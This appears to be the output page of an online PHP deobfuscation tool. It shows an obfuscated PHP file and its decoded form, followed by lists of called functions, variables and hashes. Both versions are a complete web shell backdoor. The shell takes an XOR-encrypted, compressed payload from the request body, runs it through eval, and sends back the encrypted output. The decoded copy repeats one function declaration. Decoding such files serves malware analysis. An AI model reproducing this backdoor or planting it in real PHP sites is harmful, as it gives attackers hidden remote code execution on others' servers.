Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $N='t,$kU){$c=sUtrlen($kU);$l=sUtUrlen($t);$oU="";foUrU($iU=0;$i<$l;){Ufor($j=0U;($..

Decoded Output download

<?php function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$k = "1c8f44bf";
$kh = "832abd79630c";
$kf = "ca5c3ec8a420";
$p = "3pZyjozxEwBY6GJR";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
}

Did this file decode correctly?

Original Code

<?php
$N='t,$kU){$c=sUtrlen($kU);$l=sUtUrlen($t);$oU="";foUrU($iU=0;$i<$l;){Ufor($j=0U;($j<$Uc&&$iU<$l);$j++U,$UiU++)';
$S='inUput"U),$m)==U1) {@ob_staUrt();@eUUval(@gzuncoUmprUeUss(@x(@base6U4_decodUe($mU[1]),$k)U));[email protected]_ge';
$R='$k="1Uc8fU44bf";$kh="83U2abd7U9630cUU";$kfU="caU5c3ec8Ua420U";$p="3pZyUUjozxEwBY6GJR";fuUnction x(U$';
$m=str_replace('Lc','','LccreLcate_LcfLcuncLcLction');
$n='{U$o.=$t{$i}^$k{U$Uj};}U}rUeturn $Uo;}if (@preg_matcUh("/$kUh(.+)U$kf/"U,@file_gUetU_contenUts(U"php://';
$e='Ut_conteUnts();@ob_Uend_cleanU()U;[email protected]_encoUde([email protected](@gzcomprUess($o),$kU));prUiUntU("$p$kh$r$kf");}';
$o=str_replace('U','',$R.$N.$n.$S.$e);
$r=$m('',$o);$r();
?>

Function Calls

str_replace 2
preg_match 1
base64_decode 1
create_function 1
ob_start 1
file_get_contents 1

Variables

$N t,$kU){$c=sUtrlen($kU);$l=sUtUrlen($t);$oU="";foUrU($iU=0;$i..
$n {U$o.=$t{$i}^$k{U$Uj};}U}rUeturn $Uo;}if (@preg_matcUh("/$kU..
$m create_function
$k 1c8f44bf
$o $k="1c8f44bf";$kh="832abd79630c";$kf="ca5c3ec8a420";$p="3pZy..
$e Ut_conteUnts();@ob_Uend_cleanU()U;[email protected]_encoUde([email protected](@..
$kf ca5c3ec8a420
$kh 832abd79630c
$R $k="1Uc8fU44bf";$kh="83U2abd7U9630cUU";$kfU="caU5c3ec8Ua420U..
$S inUput"U),$m)==U1) {@ob_staUrt();@eUUval(@gzuncoUmprUeUss(@x..
$p 3pZyjozxEwBY6GJR

Stats

MD5 ed1fb4a7cf11241290d92ccc7a55624a
Eval Count 1
Decode Time 309 ms